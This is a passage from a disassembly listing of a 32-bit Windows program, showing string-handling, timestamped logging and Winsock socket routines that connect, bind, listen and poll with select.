		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A10:				; CODE XREF: ___:00401C99j
		call	near ptr 77C371D3h
		nop
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 27E0000h
		nop
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5FADE9
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FADE9
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5FADE9
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FADE9
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DAC
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		call	near ptr 71AB406Ah
		nop
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
